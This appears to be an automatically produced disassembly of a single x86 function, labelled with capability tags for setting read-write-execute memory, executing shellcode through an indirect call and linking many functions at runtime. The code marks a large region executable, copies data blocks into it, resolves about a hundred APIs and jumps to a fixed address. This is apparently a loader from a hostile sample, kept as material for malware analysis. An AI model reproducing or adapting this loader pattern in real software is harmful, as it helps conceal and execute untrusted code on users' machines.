Function at 0x100010e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.100028b0
cmp dword [0x1008c110], 0
jne 0x10001103
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [0x1008c110], eax
push esi
push edi
xor eax, eax
mov ecx, 0x1008c10c
xchg dword [ecx], eax
push str.MessageBoxA
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov esi, eax
push ecx
mov ecx, esi
call fcn.10002900
mov ecx, esi
call fcn.10002ba0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x40
push eax
push 0x40
push 0x39000
push 0x10053100
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x27000
push 0x1002b448
push 0x10054100
call fcn.100065e0
push 0xa000
push 0x1001f448
push 0x1007b100
call fcn.100065e0
push 0x4000
push 0x10016770
push 0x10085100
call fcn.100065e0
push 0x1000
push 0x1001a770
push 0x10089100
call fcn.100065e0
push 0x2000
push 0x10029448
push 0x1008a100
call fcn.100065e0
add esp, 0x3c
push 0x10013d4c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x10001af2
push 0x10013d5c
push esi
call edi
mov dword [0x1007b100], eax
test eax, eax
je 0x10001af2
push 0x10013d70
push esi
call edi
mov dword [0x1007b104], eax
test eax, eax
je 0x10001af2
push 0x10013d84
push esi
call edi
mov dword [0x1007b108], eax
test eax, eax
je 0x10001af2
push 0x10013d94
push esi
call edi
mov dword [0x1007b10c], eax
test eax, eax
je 0x10001af2
push 0x10013da4
push esi
call edi
mov dword [0x1007b110], eax
test eax, eax
je 0x10001af2
push 0x10013db8
push esi
call edi
mov dword [0x1007b114], eax
test eax, eax
je 0x10001af2
push 0x10013dcc
push esi
call edi
mov dword [0x1007b118], eax
test eax, eax
je 0x10001af2
push 0x10013de0
push esi
call edi
mov dword [0x1007b11c], eax
test eax, eax
je 0x10001af2
push 0x10013dec
push esi
call edi
mov dword [0x1007b120], eax
test eax, eax
je 0x10001af2
push 0x10013dfc
push esi
call edi
mov dword [0x1007b124], eax
test eax, eax
je 0x10001af2
push 0x10013e0c
push esi
call edi
mov dword [0x1007b128], eax
test eax, eax
je 0x10001af2
push 0x10013e20
push esi
call edi
mov dword [0x1007b12c], eax
test eax, eax
je 0x10001af2
push 0x10013e2c
push esi
call edi
mov dword [0x1007b130], eax
test eax, eax
je 0x10001af2
push 0x10013e40
push esi
call edi
mov dword [0x1007b134], eax
test eax, eax
je 0x10001af2
push 0x10013e4c
push esi
call edi
mov dword [0x1007b138], eax
test eax, eax
je 0x10001af2
push 0x10013e5c
push esi
call edi
mov dword [0x1007b13c], eax
test eax, eax
je 0x10001af2
push 0x10013e70
push esi
call edi
mov dword [0x1007b140], eax
test eax, eax
je 0x10001af2
push 0x10013e84
push esi
call edi
mov dword [0x1007b144], eax
test eax, eax
je 0x10001af2
push 0x10013e94
push esi
call edi
mov dword [0x1007b148], eax
test eax, eax
je 0x10001af2
push 0x10013e9c
push esi
call edi
mov dword [0x1007b14c], eax
test eax, eax
je 0x10001af2
push 0x10013eb0
push esi
call edi
mov dword [0x1007b150], eax
test eax, eax
je 0x10001af2
push 0x10013ec4
push esi
call edi
mov dword [0x1007b154], eax
test eax, eax
je 0x10001af2
push 0x10013ed8
push esi
call edi
mov dword [0x1007b158], eax
test eax, eax
je 0x10001af2
push 0x10013eec
push esi
call edi
mov dword [0x1007b15c], eax
test eax, eax
je 0x10001af2
push 0x10013ef8
push esi
call edi
mov dword [0x1007b160], eax
test eax, eax
je 0x10001af2
push 0x10013f04
push esi
call edi
mov dword [0x1007b164], eax
test eax, eax
je 0x10001af2
push 0x10013f0c
push esi
call edi
mov dword [0x1007b168], eax
test eax, eax
je 0x10001af2
push 0x10013f18
push esi
call edi
mov dword [0x1007b16c], eax
test eax, eax
je 0x10001af2
push 0x10013f24
push esi
call edi
mov dword [0x1007b170], eax
test eax, eax
je 0x10001af2
push 0x10013f34
push esi
call edi
mov dword [0x1007b174], eax
test eax, eax
je 0x10001af2
push 0x10013f4c
push esi
call edi
mov dword [0x1007b178], eax
test eax, eax
je 0x10001af2
push 0x10013f64
push esi
call edi
mov dword [0x1007b17c], eax
test eax, eax
je 0x10001af2
push 0x10013f7c
push esi
call edi
mov dword [0x1007b180], eax
test eax, eax
je 0x10001af2
push 0x10013f88
push esi
call edi
mov dword [0x1007b184], eax
test eax, eax
je 0x10001af2
push 0x10013f94
push esi
call edi
mov dword [0x1007b188], eax
test eax, eax
je 0x10001af2
push 0x10013fa4
push esi
call edi
mov dword [0x1007b18c], eax
test eax, eax
je 0x10001af2
push 0x10013fb8
push esi
call edi
mov dword [0x1007b190], eax
test eax, eax
je 0x10001af2
push 0x10013fcc
push esi
call edi
mov dword [0x1007b194], eax
test eax, eax
je 0x10001af2
push 0x10013fdc
push esi
call edi
mov dword [0x1007b198], eax
test eax, eax
je 0x10001af2
push 0x10013fe8
push esi
call edi
mov dword [0x1007b19c], eax
test eax, eax
je 0x10001af2
push 0x10013ff8
push esi
call edi
mov dword [0x1007b1a0], eax
test eax, eax
je 0x10001af2
push 0x1001400c
push esi
call edi
mov dword [0x1007b1a4], eax
test eax, eax
je 0x10001af2
push 0x10014020
push esi
call edi
mov dword [0x1007b1a8], eax
test eax, eax
je 0x10001af2
push 0x10014034
push esi
call edi
mov dword [0x1007b1ac], eax
test eax, eax
je 0x10001af2
push 0x10014040
push esi
call edi
mov dword [0x1007b1b0], eax
test eax, eax
je 0x10001af2
push 0x10014054
push esi
call edi
mov dword [0x1007b1b4], eax
test eax, eax
je 0x10001af2
push 0x10014064
push esi
call edi
mov dword [0x1007b1b8], eax
test eax, eax
je 0x10001af2
push 0x10014074
push esi
call edi
mov dword [0x1007b1bc], eax
test eax, eax
je 0x10001af2
push 0x10014084
push esi
call edi
mov dword [0x1007b1c0], eax
test eax, eax
je 0x10001af2
push 0x10014090
push esi
call edi
mov dword [0x1007b1c4], eax
test eax, eax
je 0x10001af2
push 0x1001409c
push esi
call edi
mov dword [0x1007b1c8], eax
test eax, eax
je 0x10001af2
push 0x100140ac
push esi
call edi
mov dword [0x1007b1cc], eax
test eax, eax
je 0x10001af2
push 0x100140bc
push esi
call edi
mov dword [0x1007b1d0], eax
test eax, eax
je 0x10001af2
push 0x100140cc
push esi
call edi
mov dword [0x1007b1d4], eax
test eax, eax
je 0x10001af2
push 0x100140d8
push esi
call edi
mov dword [0x1007b1d8], eax
test eax, eax
je 0x10001af2
push 0x100140e8
push esi
call edi
mov dword [0x1007b1dc], eax
test eax, eax
je 0x10001af2
push 0x10014100
push esi
call edi
mov dword [0x1007b1e0], eax
test eax, eax
je 0x10001af2
push 0x10014118
push esi
call edi
mov dword [0x1007b1e4], eax
test eax, eax
je 0x10001af2
push 0x10014130
push esi
call edi
mov dword [0x1007b1e8], eax
test eax, eax
je 0x10001af2
push 0x10014140
push esi
call edi
mov dword [0x1007b1ec], eax
test eax, eax
je 0x10001af2
push 0x1001414c
push esi
call edi
mov dword [0x1007b1f0], eax
test eax, eax
je 0x10001af2
push 0x1001415c
push esi
call edi
mov dword [0x1007b1f4], eax
test eax, eax
je 0x10001af2
push 0x10014184
push esi
call edi
mov dword [0x1007b1f8], eax
test eax, eax
je 0x10001af2
push 0x10014198
push esi
call edi
mov dword [0x1007b1fc], eax
test eax, eax
je 0x10001af2
push 0x100141b4
push esi
call edi
mov dword [0x1007b200], eax
test eax, eax
je 0x10001af2
push 0x100141d0
push esi
call edi
mov dword [0x1007b204], eax
test eax, eax
je 0x10001af2
push 0x100141ec
push esi
call edi
mov dword [0x1007b208], eax
test eax, eax
je 0x10001af2
push 0x100141fc
push esi
call edi
mov dword [0x1007b20c], eax
test eax, eax
je 0x10001af2
push 0x10014210
push esi
call edi
mov dword [0x1007b210], eax
test eax, eax
je 0x10001af2
push 0x10014228
push esi
call edi
mov dword [0x1007b214], eax
test eax, eax
je 0x10001af2
push 0x10014240
push esi
call edi
mov dword [0x1007b218], eax
test eax, eax
je 0x10001af2
push 0x10014254
push esi
call edi
mov dword [0x1007b21c], eax
test eax, eax
je 0x10001af2
push 0x10014264
push esi
call edi
mov dword [0x1007b220], eax
test eax, eax
je 0x10001af2
push 0x1001427c
push esi
call edi
mov dword [0x1007b224], eax
test eax, eax
je 0x10001af2
push 0x10014288
push esi
call edi
mov dword [0x1007b228], eax
test eax, eax
je 0x10001af2
push 0x10014298
push esi
call edi
mov dword [0x1007b22c], eax
test eax, eax
je 0x10001af2
push 0x100142a4
push esi
call edi
mov dword [0x1007b230], eax
test eax, eax
je 0x10001af2
push 0x100142b8
push esi
call edi
mov dword [0x1007b234], eax
test eax, eax
je 0x10001af2
push 0x100142c4
push esi
call edi
mov dword [0x1007b238], eax
test eax, eax
je 0x10001af2
push 0x100142d4
push esi
call edi
mov dword [0x1007b23c], eax
test eax, eax
je 0x10001af2
push 0x100142e0
push esi
call edi
mov dword [0x1007b240], eax
test eax, eax
je 0x10001af2
push 0x100142f0
push esi
call edi
mov dword [0x1007b244], eax
test eax, eax
je 0x10001af2
push 0x10014304
push esi
call edi
mov dword [0x1007b248], eax
test eax, eax
je 0x10001af2
push 0x10014318
push esi
call edi
mov dword [0x1007b24c], eax
test eax, eax
je 0x10001af2
push 0x10014324
push esi
call edi
mov dword [0x1007b250], eax
test eax, eax
je 0x10001af2
push 0x10014330
push esi
call edi
mov dword [0x1007b254], eax
test eax, eax
je 0x10001af2
push 0x10014340
push esi
call edi
mov dword [0x1007b258], eax
test eax, eax
je 0x10001af2
push 0x10014350
push esi
call edi
mov dword [0x1007b25c], eax
test eax, eax
je 0x10001af2
push 0x10014360
push esi
call edi
mov dword [0x1007b260], eax
test eax, eax
je 0x10001af2
push 0x1001436c
push esi
call edi
mov dword [0x1007b264], eax
test eax, eax
je 0x10001af2
push 0x10014384
push esi
call edi
mov dword [0x1007b268], eax
test eax, eax
je 0x10001af2
push 0x10014394
push esi
call edi
mov dword [0x1007b26c], eax
test eax, eax
je 0x10001af2
push 0x100143a4
push esi
call edi
mov dword [0x1007b270], eax
test eax, eax
je 0x10001af2
push 0x100143bc
push esi
call edi
mov dword [0x1007b274], eax
test eax, eax
je 0x10001af2
push 0x100143cc
push esi
call edi
mov dword [0x1007b278], eax
test eax, eax
je 0x10001af2
push 0x100143dc
push esi
call edi
mov dword [0x1007b27c], eax
test eax, eax
je 0x10001af2
push 0x100143ec
push esi
call edi
mov dword [0x1007b280], eax
test eax, eax
je 0x10001af2
push 0x10014400
push esi
call edi
mov dword [0x1007b284], eax
test eax, eax
je 0x10001af2
push 0x10014410
push esi
call edi
mov dword [0x1007b288], eax
test eax, eax
je 0x10001af2
push 0x10014418
push esi
call edi
mov dword [0x1007b28c], eax
test eax, eax
je 0x10001af2
push 0x10014424
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x10001af2
push 0x10014430
push esi
call edi
mov dword [0x1007b294], eax
test eax, eax
je 0x10001af2
push 0x1001444c
push esi
call edi
mov dword [0x1007b298], eax
test eax, eax
je 0x10001af2
push 0x1001445c
push esi
call edi
mov dword [0x1007b29c], eax
test eax, eax
je 0x10001af2
push 0x1001446c
push esi
call edi
mov dword [0x1007b2a0], eax
test eax, eax
je 0x10001af2
push 0x10014478
push esi
call edi
mov dword [0x1007b2a4], eax
test eax, eax
je 0x10001af2
push 0x10014488
push esi
call edi
mov dword [0x1007b2a8], eax
test eax, eax
je 0x10001af2
push 0x1001449c
push esi
call edi
mov dword [0x1007b2ac], eax
test eax, eax
je 0x10001af2
push 0x100144ac
push esi
call edi
mov dword [0x1007b2b0], eax
test eax, eax
je 0x10001af2
push 0x100144bc
push esi
call edi
mov dword [0x1007b2b4], eax
test eax, eax
je 0x10001af2
push 0x100010b0
push 0x10001080
push dword [0x1008c104]
mov eax, 0x1001b770
call eax
add esp, 0xc
mov dword [0x1008c108], 0x1005607b
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret